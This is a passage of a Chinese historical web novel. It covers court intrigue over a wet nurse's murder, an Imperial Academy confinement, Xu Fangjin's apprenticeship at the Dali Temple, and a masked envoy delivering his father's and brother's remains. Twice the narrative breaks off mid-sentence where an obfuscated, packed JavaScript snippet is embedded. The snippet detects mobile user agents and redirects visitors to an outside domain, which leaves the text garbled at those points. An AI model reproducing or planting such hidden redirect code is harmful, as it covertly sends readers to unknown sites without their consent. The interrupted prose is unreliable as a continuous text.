说起这个沈修竹眉头紧皱,“东厂那头放出来的消息是周太妃生辰从宫外请进来的杂耍班头见色起意,在宫中强逼奶娘后失手杀人,后带出宫去来不及遮掩在醉云楼事发,于是东厂将班头抓起来了,择日移交有关法司。” “这个结果情理不通,皇廷内苑,给他几个胆子敢动宫里的人?杀人藏尸还能躲过重重宫禁搜寻更是匪夷所思。班头慌乱之中应立刻处理尸体,怎么会让他在醉云楼事发。这里头没一处说得过去的。” 他冷笑一声,“东厂移交法司就是一句空话,且不说东厂酷刑如何让人生不如死,就是刑部面对东厂移来的案件向来畏其锋芒,不改其结果,原封呈递,草草结案,朝廷法度便是这样玩弄在这些人的手里。” 封衍缓缓开口,“秦王妃即将临盆,于是便从奶娘府选了几个奶娘过去,就在事发前几日,秦王妃进宫向刘贵妃哭诉秦王看上了自己选的奶娘,为了安抚秦王妃,刘贵妃便召了全部的奶娘入宫。” “你的意思是刘贵妃……” 如果真是这样,那便是天家秘闻,皇室极重脸面,断不容许宫妃杀人的丑闻流传在市井。 “据我所知,她没杀人,那日不过是当面训诫了一番,又让人在奶娘府换了一个新奶娘去秦王府。”他抬眸,暗淡的瞳眸中落了几分烛火的光,“你得知的说辞是东厂对外散布的,我适才同你的说的是宋石岩跟王铁林说的。” 沈修竹又得知了一重内情,但还是不明就里,“那到底是谁杀的?” “宋石岩。” “啊?”沈修竹一下没控制自己的表情,他实在想不通为什么宋石岩莫名其妙要杀一个奶娘,然后尸体还被人发现在与东厂关系密切的醉云楼里面,这是搬起石头砸自己的脚? 不过很快他就从封衍的话中听到了另一重更深的意思,“王铁林是宋石岩的干爹,他不对王铁林说实话,说明他心里有鬼。听闻王铁林这几个月身边带了新人,风头一度还盖过了宋石岩。”越想越觉得有事在里头,他摩挲着膝上的布料,“宋石岩肯定要为自己早做打算,所以要再找靠山。” 他立刻抬头看封衍“当今之计,他应该要找的是皇子。不过这就有点难说了。” 封衍闭目养神,“还不知道,但宋石岩借着醉云楼一案受了不少贿赂,其心莫测,这些年来东厂愈发猖獗,是陛下对外的锋利爪牙,宋石岩怕是也起了另立山头的心。王铁林与金知贤交往甚密,浙江冤案又牵扯到金知贤,局势尚不明朗,静观其变吧。” 似是叹了一口气,封衍轻轻敲了敲案几,忽然说出一句不知所以的话来。 “你让他进来吧。” 沈修竹正沉浸在这朝廷纷扰里头,突然听到这一句,乍然想起了他今日来的目的,封竹西怕是在外头都站到心烦气躁了。 “你怎么知道?” “无事不登三宝殿。” 屋外一边等一边在编狗尾巴草的封竹西来回踱步,心情极为复杂,一方面一直等着他心烦意乱,一方面又害怕面对封衍,毕竟他上回说了那么狠的话。后来他反思许久,实在是不该那么讲话。四叔跟积玉年少相识,患难与共,当年的事态那么紧急,谁对谁错又真的能说清吗? “你惹父王生气了吗?”一个稚嫩的声音冒了出来。 封竹西惊喜地看向了星眠那头,马不停蹄地就过去将人抱起来,因为常年生病,星眠身子骨弱些,抱起来甚至没什么重量,但他的精神很足,眼睛亮亮的,像是倒影了星河。 “星眠,怎么样了,听说你生病了,我几次去见你都只能看到你在睡觉。” 天气渐渐炎热,星眠却还是穿着厚厚的氅衣怕受风着凉,他乖乖地在封竹西的怀里不动,弯了弯眼睛,“我要多睡觉才能快快好起来, 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等真的走到封衍面前了,封竹西连半个字都说不出来了,只觉得脑袋空白,憋了半天才憋出了“四叔”来。 沈修竹在后面轻轻踹了他一脚,他才反应过来,“我错了,真错了。我不该那样讲话。” 封衍侧坐着在跟自己对弈,听到他的道歉,也不往这边看,淡淡说了一句,“知道了。” 听得封竹西心里直打颤,不由得转过头去跟沈修竹眼神求助。 沈修竹知晓封衍是不想让封竹西知道他眼睛的事情,所以干咳了两声,拍了拍他的肩膀,“下次遇事不要太冲动,恶语伤人六月寒。好了,赔罪后就没事了,别整天再想了。你那个课业还没重抄给我呢。再给你几天的时间,莫要再逃了。” 封竹西老实点头,私下却用眼睛悄悄去看封衍,一肚子话憋在心里想说,但出口就没剩什么了。 沈修竹看他这样就不放心,连忙转移他的注意,“对了,这几日怎么没看见徐慕怀,你俩不是整日形影不离的吗?” 封竹西拉下的脸来,有些丧气,“慕怀他遇上事了,不小心被牵连进国子监私下斗殴的事里头,现在关了禁闭,还要过几日才能出来,听说他挨了好几下,旧伤刚好,又添新的,真不知道他为什么那么倒霉。” 这话里化外全是对徐方谨的维护,也不提前因后果,听得后面执着棋的封衍冷冷淡淡地又放下了一个棋子,清清脆脆的一声让沈修竹心里咯噔一下。 但他想的不只是这一层,“简知许最近回国子监了吧。” 封竹西略思索一番,“听说这件事就是简大人回来亲自来处理的。” 沈修竹若有所思的摩挲着下巴,“不会关太久,国子监监生历事就在这几日了,我私底下问过了,徐慕怀被分到了刑部去,到时候你可以去把他要过来跟你一同参与审案。” 这个好消息直接让封竹西笑得合不拢嘴,他努力克制,还是压不下嘴角的弧度,眼底放光,顿时精气神十足。 封衍抬眸朝沈修竹这边扫过一眼。 10. 第十章 “咕噜噜…咕噜噜…” 此起彼伏的肚子饿的声响在静心堂里响起。 被关的第四日,几个前几日还嚣张跋扈的监生眼中已经没有任何光彩了,一只手哆嗦扶着另外一只手颤抖在抄书,下笔有气无力,写出来的字软绵绵的,勉强维持个形状。 另一旁有咀嚼的窸窣传来,左兴澜咽了咽口水,眼睛不自觉往徐方谨和孔图南那边飘,羡慕嫉妒已经在眼里写满了。 国子监司业简知许当天晚上就回到了国子监,雷厉风行地将人分开审问,又饿又困的监生面对上他,半点猫腻都不敢藏,战战兢兢地全部倒了出来。 很快简知许就拼凑出了完整的事情经过。他向来赏罚分明,虽然全部关了禁闭,都得抄书,但吃食却有差异。最先挑事装模作样的几个监生照原来的规矩,第一日只给水,次日起一日给两个馒头。孔图南出于自保,但还手的时候力道过重,打伤了好几个,他的吃食便按照清修时给的正常饭量供给。而被牵扯进来的徐方谨每日甚至还有加餐的糕点。 如此悬殊之下,自然产生不平,头两日饿到头脑发昏的几个人甚至想过要抢徐方谨和孔图南的吃食,但他们被饿到没什么力气了,又转头被训诫了,生怕再延长几日。简知许的个性他们知晓,出身名门望族,规矩甚严。而简家以书香传家,大儒辈出,在朝中颇有威望。 “徐慕怀……”左兴澜有些犹豫地转过身来,面上全是纠结,多少有点不好意思,毕竟他是无妄之灾,被牵连进来的,且他们在背后没少编排他,现在有求于人,心里全是烦躁和膈应。 徐方谨吃饱了力气足,单手写字也行云流水,一手还拿着糕点慢慢吃,听到有人喊他,看了过去。不过几日的光景,左兴澜看着非常憔悴了,胡子没刮,耷丧着眉眼,一幅丧气样,哪还有曾经的神气。 “我用……玉佩跟你换,能不能…给我换些吃的。”左兴澜这话说得艰难,像是从牙缝里挤出来似的,唯有一双眼睛里满是渴望。 徐方谨下意识看向了看守的人,看守的人稳如泰山,没有丝毫表情,连个眼神都没有撇过来,没有动作就是默许了。 也就是这一下的动作,让几个饿到想啃书页的人脸上都燃起了希望,渴求的目光齐刷刷扫过来。 徐方谨来了兴趣,转过身来,他饭量正常,身边是留了些糕点存着没吃,手头恰好有余粮,他若有所思,“倒也不是不可以……” 听到他这句,饥肠辘辘的人立刻就在身上拼命搜寻,什么玉佩玉璜带钩蹀躞通通被搜罗了出来。 “我不要你们的东西,但我有个条件。” 正整理饰品的几人怔楞,心里咯噔一声,不会徐方谨想在这报复他们吧,脸色刷得一白,眼珠子都定格住了。 “事发到今日,你们从来没赔罪道歉。” 不过徐方谨在他们脱口而出的话要吐出前又说了一句,“不是向我,是向孔兄,听闻你们素日就欺辱于他,同屋多日,也未见过你们有过悔意。” 这下轮到面前几个傻眼了,身旁的孔图南则是面色冷淡地看着徐方谨。 平日里作威作福惯的纨绔子弟哪里受过这样的委屈,特别是在孔图南这样的怪人面前,玉佩捏在手里都要碎了,半天都没吐出一个字,面色十足难看。 左兴澜在家里被打惯了,求饶的话张口就来,他能屈能伸,一张口就拜足了姿态致歉,得到徐方谨首肯之后,狼吞虎咽地吃下了两块绿豆糕,险些噎着。 这种事一旦有人开头,后面也就没什么难为情的了,剩下几人互相看了几眼之后,便争向跟孔图南道歉。 可人心总是贪了又贪,吃完了徐方谨手头仅有的几块糕点,他们的眼珠子又黏在了孔图南案桌上放的几个大白馒头身上,眼神不言而喻。 但他们不敢跟孔图南讨要,只好求饶的眼神递到了徐方谨身上。 “慕怀兄,我们几个实在饿得难受,你就可怜可怜我们吧。” 将一切尽收眼底的孔图南冷笑,随手拿起桌上的馒头,在好几双眼睛的注视下,慢条斯理地一口一口吃起来,丝毫不顾眼前几人的拼命吞咽的动作和发亮的眼睛。 于是所有人的希望全部寄托在了徐方谨的身上,但只见他坐了回去,面色依旧温和,但刚才的几分笑意消失殆尽了,“我无法慷他人之慨,爱莫能助。” “你们不会真的以为我们之间的恩怨是一句赔罪道歉就可以了结的吧。你们的赔罪我从来没有接受,也永远不会接受。你们的恶意,我永不宽宥。” 一番话说得掷地有声,他们头一次认识到一贯被他们轻视、随意欺辱穿着破烂的孔图南还有这么硬气的时候,纷纷悻悻地坐回了自己的位置。 眼神里的希冀转变为了被拒后的羞恼和愤怒,在家千恩万宠长大的,不会自取其辱,也不想屈尊去求一个身无长物的穷书生。 徐方谨和孔图南的位置在同一边,他将纸包里偷偷留下了几块桂花糕递了过去,“吃些甜食吧。” 前头被拒绝了几次,本来做好被拒打算的徐方谨却看到这次孔图南接了过来,含糊着说了一句谢谢,散乱的乌发遮住了面庞,几条伤疤若隐若现。 “你也得罪他们了?”孔图南突然问。 “算是吧。” 孔图南凑近了些,用气音说:“他们来那日来打我是因为我在被迫帮他们写的课业里面画了大乌龟,张先生气得差点昏过去,监丞罚了他们再画一百只不一样的,然后送往了各府。” “噗!” 徐方谨的表情没控制住,忍着笑看同样在笑的孔图南,两人捂着肚子笑得一抽一抽的,差点没笑岔气,天可怜见,孔图南在国子监里根本没有好友,这种事找不到人说,只能憋在心里,今日终于找到同好一起笑了。 “孔兄你可太有意思了。” 头一次听到这个评价的孔图南还楞了一下,平日里大家对他的评价就是脾气怪、不好接近、长相丑陋,忽然听到徐方谨这样说他还没反应过来,只好胡乱塞了两块桂花糕在嘴里,慢慢咀嚼,后知后觉尝出些甜味来。 “啪嗒!” 静心堂和静默堂之间的小隔窗悄无声息地关上了,两堂邻近,一屋是惩罚之地,一屋则是司官们观察内里情况之地,通过特殊的隔断来传递声音,又不被发觉。 “老师,那日我试过了,徐方谨此人似是不会武。”赵其林敛袖恭敬地说。 简知许垂眸深思,手头上拿着徐方谨这几日抄的《四书》来看,这几日已经反反复复翻了好几遍了。 赵其林抿唇,轻声问,“老师是觉得徐……” 话未说话,就被简知许冷幽的眼神镇住,不由得住了嘴,低下头来,“学生多嘴。” 拂了拂过衣袖,简知许站起身来,慢步走到了门口,赵其林轻手轻脚打开门来,天光乍现,落在了简知许疏阔的肩上,金光流转,如梦幻泡影。 “今天便他们放出来吧,让徐方谨来见我。” “是” *** 前一秒还在抄书的徐方谨下一秒就被人带往了飞鸿阁,带路的人很是强硬冷漠,只说了一句司业要见你,此后嘴里再撬不出一个字来,只埋头在前面走。 徐方谨却在这游廊画栋里沉淀了思绪,七转八拐后,过了月洞门,便到了飞鸿阁。 简知许正批改这几日国子监修道诚心二堂监生的课业,一目十行,落笔极快,如飞沙走石,听到人进来的声音也不曾抬头,锦袖垂拂,寂静无声。 等在一旁站着的徐方谨心中的感受极其复杂,有种这几十年白活的感觉。 他和简知许是打小的玩伴,他九岁时从塞北回来的第一个玩伴就是简知许,两人一开始不对付,小小年纪的简知许出口成章,端方雅正,活脱脱的小君子,跟他这个不通文墨的人玩不来。但有一日,他路过简家,听到下人说话的时候得知简知许又被罚跪了祠堂,仅仅是因为课业里的一个错字。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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多年后简知许真的一甲及第,不过他考上的是榜眼,那年的状元是他俩的好友宁遥清。这一件事让简家的族老乡亲叹惋了许久。 如今大家都近而立之年,简知许已经是国子监司业,清正端直,素有雅名,而徐方谨还在给简知许当学生,真是因缘际会,不可名状。 “知道我为什么叫你来吗?”简知许手上拿着最后一张课业,忽而出声。 徐方谨低头恭谦,“学生犯了错,不该参与到私下群斗之中。” “你并无过错,我罚你可有异议?” “无论如何学生就是牵连到其中来,大人公正严明,学生不敢有半点怨言。” 一番对话听得简知许心头莫名的火气燃了起来,他这不知道他在生气什么,也不知道他在期待什么,藏于袖内的拳头紧紧握住。 “四年前你经林渠大人举荐得以入府学,可我听闻你之前不曾有志于科举。” 同样的问题徐方谨把他对沈修竹的话又委婉地说了一遍给简知许听,可他怎么感觉简知许越来越生气了。 “学生可有说错?请大人指正。” 简知许语气生硬地回他,“没有。” 接着又问,“你觉得我是一个什么样的人?” 徐方谨这下给简知许搞不会了,交浅言深,他们不才初次见面吗?怎么还评价上他了?他现在是个学生,能当着面说老师什么?还指望他跟从前一样勾肩搭背,说话不分轻重吗? 他立刻做出诚惶诚恐的样子,“学生实在不敢妄议尊师。” 简知许被他这幅卑躬屈膝,惺惺作态的样子气到心头发闷发痛,眼底里的郁气又重了几分,“三日之后就去刑部历事,出去吧。” 徐方谨恭敬告退,然后蹑手蹑脚地出去,还好心地给简知许带上了门,心里却不自觉犯嘀咕,简知许怎么这样,脾气越来越差了,不过他转念一想,国子监里纨绔子弟不少,整日惹是生非,再好的脾气也会被消磨,如此便又原谅了简知许。 却没看到简知许看到他动作时的沉默专注。 11. 第十一章 神武大街上,小贩小摊的吆喝声从街头传到巷尾,徐方谨沿着路走,路上兜了几个脸盘子大的烧饼在怀里,在快到大理寺之前就吃掉了一个,勉强把肚子填饱。 简知许让三日后去刑部历事,徐方谨盘算着还有几日,就先把事情给办了。才来京都的时候他打听到关匡愚告病已久,照林大人的嘱托,不应去打搅。但近来的消息说关匡愚又上值了,他便赶早来大理寺。 在外头快速整理好自己之后,徐方谨看到了大理寺门口两个巍峨雄壮石狮,抬步走上几层阶梯。当门房的听到他要找的人是大理寺卿的时候,脸上露出了怪异的神色,低声跟身旁的人耳语了几句,便小跑去找管事的禀报,不多时,便有人来迎他。 可今日大理寺内似是很忙,绕过影壁,没走多远那人就被急忙忙赶来的官员叫走,徐方谨客气地让他给指了路,自己独自默念记着,然后朝着他指的方向快步走去。 无论官吏还是衙役,路上遇到的人都形色匆匆,连空气中都弥漫着紧张的气息,徐方谨察觉到今日大理寺内应是有事发生,顺着刚才的指引,过了圆拱门再往前走几步,最后竟是到了一处游廊,他抬头看日头的功夫,就听到一个声音冒了出来。 他往后退两步就发现自己缩在一处隐秘之处,进退两难。 “你说关大人心里到底看重谁?前些年廷议大理寺左少卿缺的时候,大伙都猜测会不会是陆云袖做上这个位置,当年她刚刚办了京都大盗的那个案子,风头无两,连陛下都夸赞过几句,但最后任平江履任。” 另外一人左顾右盼,见四下无人,便大着胆子说,“当年我就说,陆云袖不可能做上正四品的位置,说到底就是一个女子,学识才干再好又有什么用。别看她现在得了东风,做了刑部郎中,可得罪的人不少。法场这一出事,多少同僚恨她入骨。本来人杀都杀了,非要掀起波澜来。金阁老有多少门生是刑部出身,等着吧,她没什么好日子。” 刚才说话的那人幽幽看他一眼,“陆云袖本来就不受待见,不然也不会屡有政绩今年才升个五品。要我说,她这一生才真的令人钦佩。当年她被诬告杀夫,身陷囹圄却心智颇坚,酷刑加诸也不改其志,案子到了大理寺覆审她硬生生凭借一张利嘴指出了诸多疑点和破绽,还惊动了宣悯太子和关大人。案子得以再次打回刑部重审,关大人亲自搜集了人证口供才还了她清白,为此也是得罪了不少同僚。遭此劫难,她却能重振旗鼓,投身科举,石破天惊的一笔,举国瞩目。就是官运不好,这些年官场浮沉,名气大、才干卓异,还只是一个六品主事。” 听得另外一人是眉头紧皱,“你到底是站哪边的,别忘了,现在大理寺左少卿是任平江,虽都是关大人的徒弟,但他俩是面和心不和。今日陆云袖来大理寺可把我吓一跳,任平江前几日就大发雷霆,现在碰一起还不得炸开来。” “我哪边都不站,就事论事罢了。我还记得当年我在刑部的时候,堂官高升却将烂摊子一把推给了我,我险些身家不保,求告无门,万念俱灰之际还是陆云袖审察详情,呈堂证供,才让我免受劫难。就凭这一点,我不能背后道她是非”但他也不想跟同僚太多争论这个,于是低头思索了一下,“奇怪,不是说关大人今日回大理寺吗?怎么还没来?告假多月了,大家还以为他老人家要隐退了。” 徐方谨听八卦听得是津津有味,转头的时候却看到一个精神矍铄的老人,穿着铅青色流水纹道袍,一捋白胡子,正笑眯眯地看着他。 一瞬间可把徐方谨吓了一跳,再转头看刚才叙话的两个官吏也走远不见了。 “刚才他们说的话你可听了?”老人家扶着廊柱坐了下来,面上和善,笑起来像是弥勒佛,滚远的肚子特别有佛相。 徐方谨老实点头,眼睛却在不住地打量着眼前的人。 老人一捋胡须,另一只手揉了揉腿,似是没在意徐方谨的打量,“你听了一耳朵,觉得关大人更看重谁?” 徐方谨满脑子的困惑,这不是刚刚两人一开始问的问题吗?到最后都没听到个结果。他沉思了一会,斟酌着用词,“都是同门,自然没有偏心的理。可人心都是肉长的,谁做的事更符合心意,便会有所偏斜。” 他抬眸,目光灼灼,“近日浙江这个案件里,陆大人救了含冤的百姓,却也得罪了同门和同僚,步履维艰,关大人这是左右为难。” 听到这个答案,老人的眼眸略过几道光,乐呵呵地笑道“你这个滑头,倒是两头都不沾。” 但他的目光很快又打转在徐方谨身上,极其敏锐的鼻子闻到了烧饼的香味。 徐方谨将怀里的油纸包着的烧饼掏出来一张递给了老人,他毫不犹豫地咬了一大口,心满意足地稳当着。 “任大人和陆大人是师兄妹,各种恩怨旁人谁能说清道明呢?这件事还得看师傅如何处置了,你是说不是,关大人?” 关匡愚无奈一笑,咬了一口烧饼,嘴里含糊,“果然是林老头带出来的人,一样的狡猾。不过你也不是旁人了,今日起你就是这两人的师弟了。” “果然人情债难还,我都七十的人了,还要收关门弟子,林老头这个人真不厚道。”他晃了晃手头的烧饼,“这个就当你的束脩了。” 徐方谨怔楞住了,似是没有想到会有今日这一出的发展。 “怎么,林老头没跟你说?还是不愿意做我徒弟?”见他没反应过来,关匡愚又半开玩笑地提起他刚刚说的话,“不过你也说得对,人心都是肉长的,你是后来的,就别指望着我会待你超过你师兄师姐了。” “不敢不敢。”徐方谨立刻站了起来,扶着要起来的关匡愚站稳,心里不由得犯嘀咕,林大人这一招先斩后奏可是半点音讯都没有。 但很快他心底里的感激无以言表,跟着林大人四年,他从来没有问过他的过往和将来的打算,而是严苛地教他读书作文,为人处世,得知徐方谨要来京都后,又默默写信让关大人收他做弟子。刑部理天下刑名,而大理寺驳正覆审,许多案件的卷宗都收录齐备,或许日后能用上。 “师父,你去哪?”徐方谨从善如流,很快进入了身份。 关匡愚却没走,站定下来好好看了眼徐方谨,“有人说你同扶舟长得有几分像,我看未必,你们骨相不同。日后也不必听些流言蜚语,踏踏实实做事。” 一句骨相让徐方谨的眸光凝了一瞬,但他打起趣来,“怎么敢攀扯小侯爷,我就是一个穷书生,身无长物,手无缚鸡之力。” 关匡愚点到为止,也不再说什么,就只让徐方谨跟着过去见见人。 爷俩刚走到院门口就察觉到了不对劲,当值的官吏都集中在院内的一角,距离着值房不远不近的距离,面色各异。 见关匡愚来了,各个官员都惊了一下,准备行礼的时候被他制止住,“都先出去吧。” 几个准备动身的时候,却听到里头很大声的一句—— “陆云袖,你到底要干什么?” 迈出的脚步又停下了,耳朵竖了起来,被关匡愚瞪了几眼才满脸遗憾地踱步走了。 这头关匡愚制止别人听墙角,另一头就拉着徐方谨听起了墙角,还老神在在地背着手。 似是注意到自己太大声了,任平江稍微平复了下心情,面色复杂地看向陆云袖,“知微,你要功绩要名望都可以,但你不能踩着同僚的头向上爬吧。你知不知道刑部现在有多少人恨你入骨,浙江的这个案件可是把人家的考绩踩了下来。” 陆云袖淡淡抬眸,“我问心无愧,冤案就是冤案,不能因为耽误了某些官员的考绩就稀里糊涂,此风一开,后患无穷。” 任平江看到她这油盐不进的样子,心里窝了几日的火腾腾直上,这几日法场救人都已经在京都各大茶楼演的热火朝天了,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251946|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廷法司皆有惊恐和怨言,大理寺同刑部关系本就如履薄冰,如今因为这层师兄妹关系,他也饱受非议。 “可你提前说一句便可以避免现在很多麻烦事,知微,你也是曾任职大理寺,这个案件经由大理寺覆审,多少人耗尽心力在认真做事,熬了三年又三年,却可能因为这个案件在京察里得到‘不谨’的记名。天理之外尚有人情,他们的生死你不能不顾吧。” 陆云袖正色,“师兄,可你也得想一想,人命关天,现在人没死就有挽回的余地。若是真等到人头落地了,再掀起轩然大波,陛下玉笔批朱,雷霆之怒,朝廷法司经审的官员哪个能逃脱得了罪责?” 可人死如灯灭,已经死无对证了,谁有胆量冒着怎么大风险去推翻这样的一个案件?但任平江是刑官出身,这个话他不能说出口。 同门多年,陆云袖怎么不了解她这位师兄,冷笑一声,“李忠冲的父亲上京控告,若是无人相帮,他如何走得出浙江?这个案件本来就是地方的,理应在浙江行刑,为何送到京都来正法?且这个案件在大理寺覆审之快,我尤为惊骇,师兄真的问心无愧吗?” 前半段听得任平江是惊恐犹疑,听到后半段他直接沉了脸色,“陆知微,你什么意思?有话就直说,没必要含沙射影的。” “咳咳咳!” 这时关匡愚忽然咳嗽了几声,敲了敲门,“当值的地,大门紧闭,堂官在里头吵吵嚷嚷,平白让人看了笑话。” 任平江气恼无人通禀关匡愚来了,但也只得急忙来开门,“师父,你老病可好些了,上回我让郎中抓的药看可有效?之前师娘的痨症也是这个郎中开的药。” 他本想上前去搀扶关匡愚,却发现他熟悉的位置已经有人在了,不由得惊诧地看了一眼师父。 “好些了,你的用心师父看在眼里。”但关匡愚话锋一转,“虚谷,你的字是师父给你起的,是望你虚心谦和,兼听兼信。国有国法,不可因私废公,你还是刑官出身,更应知平头百姓求告无门,含冤受辱,并不少见,做事但问其心。” “师父我……” 这话实在诛心,任平江哀哀地看着关匡愚,心里酸楚万分。 关匡愚长叹了口气,“大理寺覆审有失察之责,知错能改,便不算晚,你师妹性子刚强,也不是说故意要针对你,同门之间,有什么说不开的?” 转头又看向陆云袖,“云袖,有事好好说,没影的事情就不要拿出来让同门之间徒生嫌隙。” 陆云袖在自己老师面前从来不敢造次,顺着关匡愚的话给任平江赔罪道歉。 任平江也平复了心情,“师妹言重了,这件事师兄也有过错,望你海涵。” 这一出,看得一旁的徐方谨是一愣一愣,不得不佩服起关匡愚的端水功夫,只是下一秒他就被关匡愚点到了。 “这是你们的师弟,徐方谨,字慕怀。知微,慕怀几日后去刑部历事,查案的事你可以带带他,你们师姐弟互相照应。” 徐方谨有礼地逐个问好。 任平江今日受到的打击又重了一层,本来他以为就此致仕的师父重掌机要,现在还收了新弟子,眼见着这个新弟子还同陆云袖交好,真是屋漏偏逢连夜雨。 但他面上做足了面子,摆出了大师兄的气度,嘘寒问暖,过问功课,看上去和气极了。 而陆云袖则冷淡多了,上下打量了一下徐方谨,“刑部有刑部的规矩,历事也有考核,若是不过,我也救不了他。查案的事情先看他有无才干吧。” 徐方谨并无不快,倒是关匡愚拍了拍他的肩膀,“你师姐就是这个性子,人不坏,日后你便知了。” 任平江乐得陆云袖与徐方谨闹掰,于是安慰了几句徐方谨,刚想说他同刑部的几个官员相熟,可以传授他些经验,转头就看见徐方谨在陆云袖身边问考核的事情。 他差点气个仰倒。 12. 第十二章 国子监内。 一灯如豆,照亮寝室内的一隅。 空荡荡的屋内只有徐方谨一人,其余三张床铺都空着,说是这两日便会有人住进来。 他点着灯,埋头在读今日从陆云袖那借来的几本书,随手抽出来看的是《洗冤录》。每个监生的烛火都有定量,于是他抓紧时间去读,偶尔用笔在纸上记录几笔。 “若烧死,口内有灰;溺死,腹胀,内有水……”徐方谨小声读过一遍,忽而觉着凉飕飕的,蓦然抬头看到了倚坐在案桌前的人,差点吓得魂飞魄散。 “你什么时候来的?”徐方谨立刻将书塞在了枕头底下,一脸警惕地看着他。 “刚刚。”来人一袭黑衣,头戴翼鸟鬼怪的面具,侧身站立,身形瘦削,在烛光下恍若一条细蛇,他并不多言,用手指了指屋顶,赫然的几块瓦片丢失,露出清朗的夜光。 徐方谨知道他武艺高强,神出鬼没的,一般人还真抓不到他,他靠墙抱臂,“来干嘛?” 鬼面废话不多说,拿出了怀中的盒子,扔给了徐方谨。 徐方谨伸手去接,不明所以,“不会是什么毒药吧,我可说过不会帮你们杀人的……” 话还没说完,徐方谨忽然定住,他难以置信地盯着盒中的东西。 炭黑的人掌枯骨躺在了木盒里,他的脑子闪过千万个想法,一瞬之间整颗心像是被利剑刺穿,骤然碎裂开来,喉咙里的压抑着哽咽,夹在木盒里飘落的几寸纸条上写着密密麻麻的字—— “听闻徐兄想完成孟玉瑶的心愿,替江氏父子收殓尸骨,区区薄礼,不成敬意。” 指尖乍然戳破了轻薄的纸张,徐方谨的心翻江倒海,鼻尖眼角涌上的酸意快要吞没他了,身躯不自觉在抖动,他勉强压着泪意,拼命咬牙克制着纷乱的思绪。 当年被押解回京的半途他听到了江府失火的消息,阿娘、阿爹和哥哥全部身故,他在囚车里昏死了一天一夜,恨不得随他们而去,当时他亦身受重伤,抱着必死的决心入宫面圣。 如今再见父兄尸骨,恍若隔世,心如刀绞,他原以为今生已无相见之日。 “这次你们要干什么?”徐方谨蓦然抬眸看他。 鬼面冷漠淡然,似是察觉不到徐方谨的难过,将一纸薄笺递给了他,然后随手烧掉了匣内另外的一张,火焰渐渐吞噬了“醉云楼”三个字。 徐方谨将之前的木盒小心翼翼地抱在怀里,然后拿过纸笺上来看,上头写着“郑墨文”又是三个字让他心头一震,上回三个字让他撞见命案,这一回莫不是让他直接杀人? 他直接问出口:“醉云楼死的奶娘是你们杀的吗?” 鬼面不语,递来了主子传递吩咐的下一张——“不是。” 徐方谨眉头紧皱,“这回浙江案件与你们有关吗?” 鬼面依旧伸手,传来一张——“好自为之。” 徐方谨只觉得诡异,对那个只有两面的永王世子的心计而胆寒。他入京日浅,尚未摸清他的目的,但他让他做的事情,一件件都卷入了麻烦事里头,先是涉及內监的荥州矿产案、入京都国子监,再就是与宴醉云楼。 既然问不出来,徐方谨又将注意力放在了新来的纸条上,他拿在手里摇了摇。 沉默已久的鬼面终于开口,像是背好的一句,没有任何感情的起伏。 “自求多福。” “???” 徐方谨现在只想将这个纸笺狠狠砸在他脸上,捏着纸条的手指紧攥,险些要把这方寸大小的纸揉碎。 “什么意思?”他反复看了好几遍,是个人的名字没有错,可是敌是友尚未言明,他从而找起?又为何要找? 可再抬头的时候来去如烟的鬼面已经不见踪影,悄无声息地离开了,徐方谨往上看,瓦片稳稳当当地放着,半点缝隙都漏不出来,好似刚才的一个洞是他的错觉。 来去如风,有此功夫,就连混迹多年武场的徐方谨都觉得出神入化,他凝眉深思,却被今日的诸事搅扰了思绪,所幸不去理会,手指在纸上沾水慢慢写下了“郑墨言”三个字。 若是敌,便要多加防备;若是友,或许能打探更多的消息……但若非敌非友,是鬼面派来督守他的,那他的处境就危险了。最近的这几件事上,徐方谨虽都乖乖听令,但背地里也玩了不少猫腻。这次鬼面前来,借送礼之名警告他,又提起了孟玉瑶,其心可诛。 徐方谨是在两年前得知孟玉瑶没死,反而是被人救走了。建宁四年,江府一夕覆灭,得以幸免于难的只有嫂嫂孟玉瑶和姐姐江沅芷。事发前一日,孟玉瑶带着孩子上观缘寺礼佛,在返途中被逮捕,后来入了教坊司,不到一年便香消玉殒。 他早在暗中探寻当年在江府发生的事情,两年也只能搜寻到些许皮毛消息,他下定决心要重返京都。不料先被永王世子找上门,还带来了孟玉瑶的消息,匆匆让他们见过一面后,他按照永王世子的令,牵扯进了荥阳矿场一案中,九死一生。一波未平一波又起,他回到了京都,入了国子监,不到两月,又撞上了醉云楼的命案。 思绪渐渐回笼,徐方谨在纸上又轻轻写下了宦官两个字。 荥州矿产一案因守矿太监贪戾无厌,残暴不已,致使矿工愤而起义惨遭屠戮,死伤者高达百人。据险而守的矿工拼死抵抗,甚至掳掠途径矿山的平民百姓和官员亲眷来对抗官府,他潜藏其中,一个月的时间同袁故知里应外合,最后平息了这场旷日持久的起叛。 但罪大恶极守矿太监逃回宫里,得到了庇佑,徒留当地的百姓和官府两败俱伤,血流成河。愤而不已的袁故知将此地详情暗奏陛下,岂料圣心莫测,只等到一句语焉不详的禀理查办。本已准备转走他路揭露宦官罪行的袁故知,却在一月后升任京官,或许有望直面天听,如今估摸着已经上路了。 而醉云楼一案,牵连者甚广,当日被东厂关押的人中多数是膏腴子弟,横遭此难,大笔的银钱通过各种渠道流入了东厂,将人放了之后,又轻飘飘给出解释说杂耍戏班奸/杀。情理不通,法度不容,可偏偏多数人敢怒不敢言,些许的愤然参奏也杳无音讯。 纸上的水痕很快干了,风一吹过纸上只剩下细密的褶皱。 徐方谨又从枕头底下将书拿了出来,对着烛火一字一句看下去,仿佛刚刚发生的一切只是虚幻一场。 *** “咳咳咳。” 